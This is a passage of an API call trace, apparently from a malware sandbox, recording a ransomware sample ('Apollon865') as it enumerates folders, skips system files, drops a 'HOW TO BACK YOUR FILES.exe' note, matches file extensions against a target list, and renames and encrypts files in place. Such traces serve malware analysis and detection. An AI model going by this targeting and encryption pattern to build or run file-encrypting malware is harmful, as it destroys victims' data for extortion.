	[0077.762] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0077.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0077.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.763] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0077.768] CloseHandle (hObject=0x118) returned 1
	[0077.768] CloseHandle (hObject=0xc0) returned 1
	[0077.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0077.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.771] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46623370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46623370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.771] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.771] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46623370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46623370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0077.771] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.771] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0077.771] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C"
	[0077.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0077.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0077.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned 62
	[0077.771] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C"
	[0077.771] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.771] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.787] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.787] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46707bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46707bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.787] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.787] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.787] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.787] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46707bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46707bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.787] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.787] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.787] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.787] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.787] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0077.787] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0077.787] lstrlenW (lpString="1033") returned 4
	[0077.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0077.787] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0077.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0077.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0077.788] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0077.788] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="Apollon865.txt.exe") returned 1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2=".") returned 1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="..") returned 1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="windows") returned -1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="bootmgr") returned 1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="temp") returned -1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="pagefile.sys") returned -1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="boot") returned 1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="ids.txt") returned -1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="ntuser.dat") returned -1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="perflogs") returned -1
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2="MSBuild") returned -1
	[0077.788] lstrlenW (lpString="branding.xml") returned 12
	[0077.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 67
	[0077.788] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="branding.xml" | out: lpString1="branding.xml") returned="branding.xml"
	[0077.788] lstrlenW (lpString="branding.xml") returned 12
	[0077.788] lstrlenW (lpString="Apollon865") returned 10
	[0077.788] lstrcmpiW (lpString1="anding.xml", lpString2="Apollon865") returned -1
	[0077.788] lstrlenW (lpString=".dll") returned 4
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2=".dll") returned 1
	[0077.788] lstrlenW (lpString=".lnk") returned 4
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2=".lnk") returned 1
	[0077.788] lstrlenW (lpString=".ini") returned 4
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2=".ini") returned 1
	[0077.788] lstrlenW (lpString=".sys") returned 4
	[0077.788] lstrcmpiW (lpString1="branding.xml", lpString2=".sys") returned 1
	[0077.788] lstrlenW (lpString="branding.xml") returned 12
	[0077.788] lstrlenW (lpString="bak") returned 3
	[0077.788] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.788] lstrlenW (lpString="ba_") returned 3
	[0077.788] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.788] lstrlenW (lpString="dbb") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.789] lstrlenW (lpString="vmdk") returned 4
	[0077.789] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.789] lstrlenW (lpString="rar") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.789] lstrlenW (lpString="zip") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.789] lstrlenW (lpString="tgz") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.789] lstrlenW (lpString="vbox") returned 4
	[0077.789] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.789] lstrlenW (lpString="vdi") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.789] lstrlenW (lpString="vhd") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.789] lstrlenW (lpString="vhdx") returned 4
	[0077.789] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.789] lstrlenW (lpString="avhd") returned 4
	[0077.789] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.789] lstrlenW (lpString="db") returned 2
	[0077.789] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.789] lstrlenW (lpString="db2") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.789] lstrlenW (lpString="db3") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.789] lstrlenW (lpString="dbf") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.789] lstrlenW (lpString="mdf") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.789] lstrlenW (lpString="mdb") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.789] lstrlenW (lpString="sql") returned 3
	[0077.789] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.789] lstrlenW (lpString="sqlite") returned 6
	[0077.789] lstrcmpiW (lpString1="ng.xml", lpString2="sqlite") returned -1
	[0077.789] lstrlenW (lpString="sqlite3") returned 7
	[0077.789] lstrcmpiW (lpString1="ing.xml", lpString2="sqlite3") returned -1
	[0077.790] lstrlenW (lpString="sqlitedb") returned 8
	[0077.790] lstrcmpiW (lpString1="ding.xml", lpString2="sqlitedb") returned -1
	[0077.790] lstrlenW (lpString="xml") returned 3
	[0077.790] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.790] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.Apollon865") returned 86
	[0077.790] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.792] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0077.792] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=596341) returned 1
	[0077.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfc50
	[0077.793] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfcd8) returned 1
	[0077.794] CryptGenRandom (in: hProv=0x5bfcd8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.794] CryptReleaseContext (hProv=0x5bfcd8, dwFlags=0x0) returned 1
	[0077.794] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91c80, lpName=0x0) returned 0x118
	[0077.795] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91c80) returned 0x4d0000
	[0077.824] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfcd8) returned 1
	[0077.825] CryptGenRandom (in: hProv=0x5bfcd8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.825] CryptReleaseContext (hProv=0x5bfcd8, dwFlags=0x0) returned 1
	[0077.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.825] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0077.831] CloseHandle (hObject=0x118) returned 1
	[0077.831] CloseHandle (hObject=0x15c) returned 1
	[0077.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0077.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.834] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2=".") returned 1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="..") returned 1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="windows") returned -1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootmgr") returned 1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="temp") returned -1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="pagefile.sys") returned -1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="boot") returned 1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="ids.txt") returned -1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntuser.dat") returned -1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="perflogs") returned -1
	[0077.834] lstrcmpiW (lpString1="DW20.EXE", lpString2="MSBuild") returned -1
	[0077.834] lstrlenW (lpString="DW20.EXE") returned 8
	[0077.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0077.835] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="DW20.EXE" | out: lpString1="DW20.EXE") returned="DW20.EXE"
	[0077.835] lstrlenW (lpString="DW20.EXE") returned 8
	[0077.835] lstrlenW (lpString="Apollon865") returned 10
	[0077.835] lstrlenW (lpString=".dll") returned 4
	[0077.835] lstrcmpiW (lpString1="DW20.EXE", lpString2=".dll") returned 1
	[0077.835] lstrlenW (lpString=".lnk") returned 4
	[0077.835] lstrcmpiW (lpString1="DW20.EXE", lpString2=".lnk") returned 1
	[0077.835] lstrlenW (lpString=".ini") returned 4
	[0077.835] lstrcmpiW (lpString1="DW20.EXE", lpString2=".ini") returned 1
	[0077.835] lstrlenW (lpString=".sys") returned 4
	[0077.835] lstrcmpiW (lpString1="DW20.EXE", lpString2=".sys") returned 1
	[0077.835] lstrlenW (lpString="DW20.EXE") returned 8
	[0077.835] lstrlenW (lpString="bak") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1
	[0077.835] lstrlenW (lpString="ba_") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1
	[0077.835] lstrlenW (lpString="dbb") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1
	[0077.835] lstrlenW (lpString="vmdk") returned 4
	[0077.835] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1
	[0077.835] lstrlenW (lpString="rar") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1
	[0077.835] lstrlenW (lpString="zip") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1
	[0077.835] lstrlenW (lpString="tgz") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1
	[0077.835] lstrlenW (lpString="vbox") returned 4
	[0077.835] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1
	[0077.835] lstrlenW (lpString="vdi") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1
	[0077.835] lstrlenW (lpString="vhd") returned 3
	[0077.835] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1
	[0077.835] lstrlenW (lpString="vhdx") returned 4
	[0077.835] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1
	[0077.835] lstrlenW (lpString="avhd") returned 4
	[0077.835] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1
	[0077.836] lstrlenW (lpString="db") returned 2
	[0077.836] lstrcmpiW (lpString1="XE", lpString2="db") returned 1
	[0077.836] lstrlenW (lpString="db2") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1
	[0077.836] lstrlenW (lpString="db3") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1
	[0077.836] lstrlenW (lpString="dbf") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1
	[0077.836] lstrlenW (lpString="mdf") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1
	[0077.836] lstrlenW (lpString="mdb") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1
	[0077.836] lstrlenW (lpString="sql") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1
	[0077.836] lstrlenW (lpString="sqlite") returned 6
	[0077.836] lstrcmpiW (lpString1="20.EXE", lpString2="sqlite") returned -1
	[0077.836] lstrlenW (lpString="sqlite3") returned 7
	[0077.836] lstrcmpiW (lpString1="W20.EXE", lpString2="sqlite3") returned 1
	[0077.836] lstrlenW (lpString="sqlitedb") returned 8
	[0077.836] lstrlenW (lpString="xml") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1
	[0077.836] lstrlenW (lpString="$er") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1
	[0077.836] lstrlenW (lpString="4dd") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1
	[0077.836] lstrlenW (lpString="4dl") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1
	[0077.836] lstrlenW (lpString="^^^") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1
	[0077.836] lstrlenW (lpString="abs") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1
	[0077.836] lstrlenW (lpString="abx") returned 3
	[0077.836] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1
	[0077.836] lstrlenW (lpString="accdb") returned 5
	[0077.836] lstrcmpiW (lpString1="0.EXE", lpString2="accdb") returned -1
	[0077.836] lstrlenW (lpString="accdc") returned 5
	[0077.836] lstrcmpiW (lpString1="0.EXE", lpString2="accdc") returned -1
	[0077.837] lstrlenW (lpString="accde") returned 5
	[0077.837] lstrcmpiW (lpString1="0.EXE", lpString2="accde") returned -1
	[0077.837] lstrlenW (lpString="accdr") returned 5
	[0077.837] lstrcmpiW (lpString1="0.EXE", lpString2="accdr") returned -1
	[0077.837] lstrlenW (lpString="accdt") returned 5
	[0077.837] lstrcmpiW (lpString1="0.EXE", lpString2="accdt") returned -1
	[0077.837] lstrlenW (lpString="accdw") returned 5
	[0077.837] lstrcmpiW (lpString1="0.EXE", lpString2="accdw") returned -1
	[0077.837] lstrlenW (lpString="accft") returned 5
	[0077.837] lstrcmpiW (lpString1="0.EXE", lpString2="accft") returned -1
	[0077.837] lstrlenW (lpString="adb") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1
	[0077.837] lstrlenW (lpString="adb") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1
	[0077.837] lstrlenW (lpString="ade") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1
	[0077.837] lstrlenW (lpString="adf") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1
	[0077.837] lstrlenW (lpString="adn") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1
	[0077.837] lstrlenW (lpString="adp") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1
	[0077.837] lstrlenW (lpString="alf") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1
	[0077.837] lstrlenW (lpString="ask") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1
	[0077.837] lstrlenW (lpString="btr") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1
	[0077.837] lstrlenW (lpString="cat") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1
	[0077.837] lstrlenW (lpString="cdb") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1
	[0077.837] lstrlenW (lpString="ckp") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1
	[0077.837] lstrlenW (lpString="cma") returned 3
	[0077.837] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1
	[0077.837] lstrlenW (lpString="cpd") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1
	[0077.838] lstrlenW (lpString="dacpac") returned 6
